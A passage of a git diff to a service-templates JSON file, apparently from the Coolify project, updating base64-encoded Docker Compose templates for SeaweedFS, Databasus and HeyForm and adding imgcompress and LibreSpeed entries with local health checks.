- "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUzNfODMzMwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9TM30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfUzN9JwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLXMzLWRhdGE6L2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Jhc2UtY29uZmlnLmpzb24KICAgICAgICB0YXJnZXQ6IC9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgY29udGVudDogIntcbiAgXCJpZGVudGl0aWVzXCI6IFtcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhbm9ueW1vdXNcIixcbiAgICAgIFwiYWN0aW9uc1wiOiBbXG4gICAgICAgIFwiUmVhZFwiXG4gICAgICBdXG4gICAgfSxcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhZG1pblwiLFxuICAgICAgXCJjcmVkZW50aWFsc1wiOiBbXG4gICAgICAgIHtcbiAgICAgICAgICBcImFjY2Vzc0tleVwiOiBcImVudjpBV1NfQUNDRVNTX0tFWV9JRFwiLFxuICAgICAgICAgIFwic2VjcmV0S2V5XCI6IFwiZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWVwiXG4gICAgICAgIH1cbiAgICAgIF0sXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIkFkbWluXCIsXG4gICAgICAgIFwiUmVhZFwiLFxuICAgICAgICBcIlJlYWRBY3BcIixcbiAgICAgICAgXCJMaXN0XCIsXG4gICAgICAgIFwiVGFnZ2luZ1wiLFxuICAgICAgICBcIldyaXRlXCIsXG4gICAgICAgIFwiV3JpdGVBY3BcIlxuICAgICAgXVxuICAgIH1cbiAgXVxufVxuIgogICAgZW50cnlwb2ludDogInNoIC1jICdcXFxuc2VkIFwicy9lbnY6QVdTX0FDQ0VTU19LRVlfSUQvJEFXU19BQ0NFU1NfS0VZX0lEL2dcIiAvYmFzZS1jb25maWcuanNvbiA+IC9iYXNlMS1jb25maWcuanNvbjsgXFxcbnNlZCBcInMvZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWS8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL2dcIiAvYmFzZTEtY29uZmlnLmpzb24gPiAvY29uZmlnLmpzb247IFxcXG53ZWVkIHNlcnZlciAtZGlyPS9kYXRhIC1tYXN0ZXIucG9ydD05MzMzIC1zMyAtczMucG9ydD04MzMzIC1zMy5jb25maWc9L2NvbmZpZy5qc29uXFxcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDo4MzMzOyBbICQkPyAtbGUgOCBdJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgc2Vhd2VlZGZzLWFkbWluOgogICAgaW1hZ2U6ICdjaHJpc2x1c2Yvc2Vhd2VlZGZzOjQuMDUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9BRE1JTl8yMzY0NgogICAgICAtICdTRUFXRUVEX1VTRVJfQURNSU49JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdTRUFXRUVEX1BBU1NXT1JEX0FETUlOPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICBjb21tYW5kOgogICAgICAtIGFkbWluCiAgICAgIC0gJy1tYXN0ZXI9c2Vhd2VlZGZzLW1hc3Rlcjo5MzMzJwogICAgICAtICctYWRtaW5Vc2VyPSR7U0VBV0VFRF9VU0VSX0FETUlOfScKICAgICAgLSAnLWFkbWluUGFzc3dvcmQ9JHtTRUFXRUVEX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnLXBvcnQ9MjM2NDYnCiAgICAgIC0gJy1kYXRhRGlyPS9kYXRhJwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLWFkbWluLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6MjM2NDY7IFsgJCQ/IC1sZSA4IF0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHNlYXdlZWRmcy1tYXN0ZXI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkK",
+ "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfUzNfODMzMwogICAgICAtICdBV1NfQUNDRVNTX0tFWV9JRD0ke1NFUlZJQ0VfVVNFUl9TM30nCiAgICAgIC0gJ0FXU19TRUNSRVRfQUNDRVNTX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfUzN9JwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLXMzLWRhdGE6L2RhdGEnCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL2Jhc2UtY29uZmlnLmpzb24KICAgICAgICB0YXJnZXQ6IC9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgY29udGVudDogIntcbiAgXCJpZGVudGl0aWVzXCI6IFtcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhbm9ueW1vdXNcIixcbiAgICAgIFwiYWN0aW9uc1wiOiBbXG4gICAgICAgIFwiUmVhZFwiXG4gICAgICBdXG4gICAgfSxcbiAgICB7XG4gICAgICBcIm5hbWVcIjogXCJhZG1pblwiLFxuICAgICAgXCJjcmVkZW50aWFsc1wiOiBbXG4gICAgICAgIHtcbiAgICAgICAgICBcImFjY2Vzc0tleVwiOiBcImVudjpBV1NfQUNDRVNTX0tFWV9JRFwiLFxuICAgICAgICAgIFwic2VjcmV0S2V5XCI6IFwiZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWVwiXG4gICAgICAgIH1cbiAgICAgIF0sXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIkFkbWluXCIsXG4gICAgICAgIFwiUmVhZFwiLFxuICAgICAgICBcIlJlYWRBY3BcIixcbiAgICAgICAgXCJMaXN0XCIsXG4gICAgICAgIFwiVGFnZ2luZ1wiLFxuICAgICAgICBcIldyaXRlXCIsXG4gICAgICAgIFwiV3JpdGVBY3BcIlxuICAgICAgXVxuICAgIH1cbiAgXVxufVxuIgogICAgZW50cnlwb2ludDogInNoIC1jICdcXFxuc2VkIFwicy9lbnY6QVdTX0FDQ0VTU19LRVlfSUQvJEFXU19BQ0NFU1NfS0VZX0lEL2dcIiAvYmFzZS1jb25maWcuanNvbiA+IC9iYXNlMS1jb25maWcuanNvbjsgXFxcbnNlZCBcInMvZW52OkFXU19TRUNSRVRfQUNDRVNTX0tFWS8kQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZL2dcIiAvYmFzZTEtY29uZmlnLmpzb24gPiAvY29uZmlnLmpzb247IFxcXG53ZWVkIHNlcnZlciAtZGlyPS9kYXRhIC1tYXN0ZXIucG9ydD05MzMzIC1zMyAtczMucG9ydD04MzMzIC1zMy5jb25maWc9L2NvbmZpZy5qc29uXFxcbidcbiIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDo4MzMzOyBbICQkPyAtbGUgOCBdJwogICAgICBpbnRlcnZhbDogMTBzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgc2Vhd2VlZGZzLWFkbWluOgogICAgaW1hZ2U6ICdjaHJpc2x1c2Yvc2Vhd2VlZGZzOjQuMTMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9BRE1JTl8yMzY0NgogICAgICAtICdTRUFXRUVEX1VTRVJfQURNSU49JHtTRVJWSUNFX1VTRVJfQURNSU59JwogICAgICAtICdTRUFXRUVEX1BBU1NXT1JEX0FETUlOPSR7U0VSVklDRV9QQVNTV09SRF9BRE1JTn0nCiAgICBjb21tYW5kOgogICAgICAtIGFkbWluCiAgICAgIC0gJy1tYXN0ZXI9c2Vhd2VlZGZzLW1hc3Rlcjo5MzMzJwogICAgICAtICctYWRtaW5Vc2VyPSR7U0VBV0VFRF9VU0VSX0FETUlOfScKICAgICAgLSAnLWFkbWluUGFzc3dvcmQ9JHtTRUFXRUVEX1BBU1NXT1JEX0FETUlOfScKICAgICAgLSAnLXBvcnQ9MjM2NDYnCiAgICAgIC0gJy1kYXRhRGlyPS9kYXRhJwogICAgdm9sdW1lczoKICAgICAgLSAnc2Vhd2VlZGZzLWFkbWluLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6MjM2NDY7IFsgJCQ/IC1sZSA4IF0nCiAgICAgIGludGVydmFsOiAxMHMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHNlYXdlZWRmcy1tYXN0ZXI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkK",
"tags": [
"object",
"storage",
diff --git a/templates/service-templates.json b/templates/service-templates.json
index 49f1f126f..22d0d6d8c 100644
--- a/templates/service-templates.json
+++ b/templates/service-templates.json
@@ -818,7 +818,7 @@
"databasus": {
"documentation": "https://databasus.com/installation?utm_source=coolify.io",
"slogan": "Databasus is a free, open source and self-hosted tool to backup PostgreSQL, MySQL, and MongoDB.",
- "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYyLjE4LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fREFUQUJBU1VTXzQwMDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RhdGFiYXN1cy1kYXRhOi9kYXRhYmFzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=",
+ "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYzLjE2LjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fREFUQUJBU1VTXzQwMDUKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2RhdGFiYXN1cy1kYXRhOi9kYXRhYmFzdXMtZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXFPLScKICAgICAgICAtICdodHRwOi8vbG9jYWxob3N0OjQwMDUvYXBpL3YxL3N5c3RlbS9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogNQo=",
"tags": [
"postgres",
"mysql",
@@ -1951,7 +1951,7 @@
"heyform": {
"documentation": "https://docs.heyform.net/open-source/self-hosting?utm_source=coolify.io",
"slogan": "Allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. No coding skills required.",
- "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hFWUZPUk1fODAwMAogICAgICAtICdBUFBfSE9NRVBBR0VfVVJMPSR7U0VSVklDRV9GUUROX0hFWUZPUk19JwogICAgICAtICdTRVNTSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT059JwogICAgICAtICdGT1JNX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfRk9STX0nCiAgICAgIC0gJ01PTkdPX1VSST1tb25nb2RiOi8vbW9uZ286MjcwMTcvaGV5Zm9ybScKICAgICAgLSBSRURJU19IT1NUPWtleWRiCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjgwMDAgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogIG1vbmdvOgogICAgaW1hZ2U6ICdwZXJjb25hL3BlcmNvbmEtc2VydmVyLW1vbmdvZGI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnaGV5Zm9ybS1tb25nby1kYXRhOi9kYXRhL2RiJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJlY2hvICdvaycgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBrZXlkYjoKICAgIGltYWdlOiAnZXFhbHBoYS9rZXlkYjpsYXRlc3QnCiAgICBjb21tYW5kOiAna2V5ZGItc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnS0VZREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0ta2V5ZGItZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSBrZXlkYi1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK",
+ "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hFWUZPUk1fOTE1NwogICAgICAtICdBUFBfSE9NRVBBR0VfVVJMPSR7U0VSVklDRV9GUUROX0hFWUZPUk19JwogICAgICAtICdTRVNTSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X1NFU1NJT059JwogICAgICAtICdGT1JNX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfNjRfRk9STX0nCiAgICAgIC0gJ01PTkdPX1VSST1tb25nb2RiOi8vbW9uZ286MjcwMTcvaGV5Zm9ybScKICAgICAgLSBSRURJU19IT1NUPWtleWRiCiAgICAgIC0gUkVESVNfUE9SVD02Mzc5CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjkxNTcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMwogIG1vbmdvOgogICAgaW1hZ2U6ICdwZXJjb25hL3BlcmNvbmEtc2VydmVyLW1vbmdvZGI6bGF0ZXN0JwogICAgdm9sdW1lczoKICAgICAgLSAnaGV5Zm9ybS1tb25nby1kYXRhOi9kYXRhL2RiJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICJlY2hvICdvaycgPiAvZGV2L251bGwgMj4mMSIKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMKICBrZXlkYjoKICAgIGltYWdlOiAnZXFhbHBoYS9rZXlkYjpsYXRlc3QnCiAgICBjb21tYW5kOiAna2V5ZGItc2VydmVyIC0tYXBwZW5kb25seSB5ZXMnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnS0VZREJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0ta2V5ZGItZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSBrZXlkYi1jbGkKICAgICAgICAtICctLXBhc3MnCiAgICAgICAgLSAnJHtTRVJWSUNFX1BBU1NXT1JEX0tFWURCfScKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICAgIHN0YXJ0X3BlcmlvZDogNXMK",
"tags": [
"form",
"builder",
@@ -1965,7 +1965,7 @@
"category": "productivity",
"logo": "svgs/heyform.svg",
"minversion": "0.0.0",
- "port": "8000"
+ "port": "9157"
},
"homarr": {
"documentation": "https://homarr.dev?utm_source=coolify.io",
@@ -2041,6 +2041,21 @@
"minversion": "0.0.0",
"port": "80"
},
+ "imgcompress": {
+ "documentation": "https://imgcompress.karimzouine.com?utm_source=coolify.io",
+ "slogan": "Offline image compression, conversion, and AI background removal for Docker homelabs.",
+ "compose": "c2VydmljZXM6CiAgaW1nY29tcHJlc3M6CiAgICBpbWFnZTogJ2thcmltejEvaW1nY29tcHJlc3M6MC42LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fSU1HQ09NUFJFU1NfNTAwMAogICAgICAtICdESVNBQkxFX0xPR089JHtESVNBQkxFX0xPR086LWZhbHNlfScKICAgICAgLSAnRElTQUJMRV9TVE9SQUdFX01BTkFHRU1FTlQ9JHtESVNBQkxFX1NUT1JBR0VfTUFOQUdFTUVOVDotZmFsc2V9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICctZicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjUwMDAnCiAgICAgIGludGVydmFsOiAzMHMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDMK",
+ "tags": [
+ "compress",
+ "photo",
+ "server",
+ "metadata"
+ ],
+ "category": "media",
+ "logo": "svgs/imgcompress.png",
+ "minversion": "0.0.0",
+ "port": "5000"
+ },
"immich": {
"documentation": "https://immich.app/docs/overview/introduction?utm_source=coolify.io",
"slogan": "Self-hosted photo and video management solution.",
@@ -2417,6 +2432,19 @@
"minversion": "0.0.0",
"port": "3000"
},
+ "librespeed": {
+ "documentation": "https://github.com/librespeed/speedtest?utm_source=coolify.io",
+ "slogan": "Self-hosted lightweight Speed Test.",
+ "compose": "c2VydmljZXM6CiAgbGlicmVzcGVlZDoKICAgIGNvbnRhaW5lcl9uYW1lOiBsaWJyZXNwZWVkCiAgICBpbWFnZTogJ2doY3IuaW8vbGlicmVzcGVlZC9zcGVlZHRlc3Q6bGF0ZXN0JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0xJQlJFU1BFRURfODIKICAgICAgLSBNT0RFPXN0YW5kYWxvbmUKICAgICAgLSBURUxFTUVUUlk9ZmFsc2UKICAgICAgLSBESVNUQU5DRT1rbQogICAgICAtIFdFQlBPUlQ9ODIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnY3VybCAxMjcuMC4wLjE6ODIgfHwgZXhpdCAxJwogICAgICB0aW1lb3V0OiAxcwogICAgICBpbnRlcnZhbDogMW0wcwogICAgICByZXRyaWVzOiAxCg==",
+ "tags": [
+ "speedtest",
+ "internet-speed"
+ ],
+ "category": "devtools",
+ "logo": "svgs/librespeed.png",
+ "minversion": "0.0.0",
+ "port": "82"
+ },
"libretranslate": {
"documentation": "https://libretranslate.com/docs/?utm_source=coolify.io",
"slogan": "Free and open-source machine translation API, entirely self-hosted.",
@@ -4099,7 +4127,7 @@
"seaweedfs": {
"documentation": "https://github.com/seaweedfs/seaweedfs?utm_source=coolify.io",
"slogan": "SeaweedFS is a simple and highly scalable distributed file system. Compatible with S3, with an admin web interface.",
- "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1MzXzgzMzMKICAgICAgLSAnQVdTX0FDQ0VTU19LRVlfSUQ9JHtTRVJWSUNFX1VTRVJfUzN9JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1MzfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3NlYXdlZWRmcy1zMy1kYXRhOi9kYXRhJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgdGFyZ2V0OiAvYmFzZS1jb25maWcuanNvbgogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiaWRlbnRpdGllc1wiOiBbXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYW5vbnltb3VzXCIsXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIlJlYWRcIlxuICAgICAgXVxuICAgIH0sXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYWRtaW5cIixcbiAgICAgIFwiY3JlZGVudGlhbHNcIjogW1xuICAgICAgICB7XG4gICAgICAgICAgXCJhY2Nlc3NLZXlcIjogXCJlbnY6QVdTX0FDQ0VTU19LRVlfSURcIixcbiAgICAgICAgICBcInNlY3JldEtleVwiOiBcImVudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVlcIlxuICAgICAgICB9XG4gICAgICBdLFxuICAgICAgXCJhY3Rpb25zXCI6IFtcbiAgICAgICAgXCJBZG1pblwiLFxuICAgICAgICBcIlJlYWRcIixcbiAgICAgICAgXCJSZWFkQWNwXCIsXG4gICAgICAgIFwiTGlzdFwiLFxuICAgICAgICBcIlRhZ2dpbmdcIixcbiAgICAgICAgXCJXcml0ZVwiLFxuICAgICAgICBcIldyaXRlQWNwXCJcbiAgICAgIF1cbiAgICB9XG4gIF1cbn1cbiIKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyAnXFxcbnNlZCBcInMvZW52OkFXU19BQ0NFU1NfS0VZX0lELyRBV1NfQUNDRVNTX0tFWV9JRC9nXCIgL2Jhc2UtY29uZmlnLmpzb24gPiAvYmFzZTEtY29uZmlnLmpzb247IFxcXG5zZWQgXCJzL2VudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVkvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9nXCIgL2Jhc2UxLWNvbmZpZy5qc29uID4gL2NvbmZpZy5qc29uOyBcXFxud2VlZCBzZXJ2ZXIgLWRpcj0vZGF0YSAtbWFzdGVyLnBvcnQ9OTMzMyAtczMgLXMzLnBvcnQ9ODMzMyAtczMuY29uZmlnPS9jb25maWcuanNvblxcXG4nXG4iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6ODMzMzsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHNlYXdlZWRmcy1hZG1pbjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0FETUlOXzIzNjQ2CiAgICAgIC0gJ1NFQVdFRURfVVNFUl9BRE1JTj0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ1NFQVdFRURfUEFTU1dPUkRfQURNSU49JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYWRtaW4KICAgICAgLSAnLW1hc3Rlcj1zZWF3ZWVkZnMtbWFzdGVyOjkzMzMnCiAgICAgIC0gJy1hZG1pblVzZXI9JHtTRUFXRUVEX1VTRVJfQURNSU59JwogICAgICAtICctYWRtaW5QYXNzd29yZD0ke1NFQVdFRURfUEFTU1dPUkRfQURNSU59JwogICAgICAtICctcG9ydD0yMzY0NicKICAgICAgLSAnLWRhdGFEaXI9L2RhdGEnCiAgICB2b2x1bWVzOgogICAgICAtICdzZWF3ZWVkZnMtYWRtaW4tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDoyMzY0NjsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQo=",
+ "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1MzXzgzMzMKICAgICAgLSAnQVdTX0FDQ0VTU19LRVlfSUQ9JHtTRVJWSUNFX1VTRVJfUzN9JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1MzfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3NlYXdlZWRmcy1zMy1kYXRhOi9kYXRhJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgdGFyZ2V0OiAvYmFzZS1jb25maWcuanNvbgogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiaWRlbnRpdGllc1wiOiBbXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYW5vbnltb3VzXCIsXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIlJlYWRcIlxuICAgICAgXVxuICAgIH0sXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYWRtaW5cIixcbiAgICAgIFwiY3JlZGVudGlhbHNcIjogW1xuICAgICAgICB7XG4gICAgICAgICAg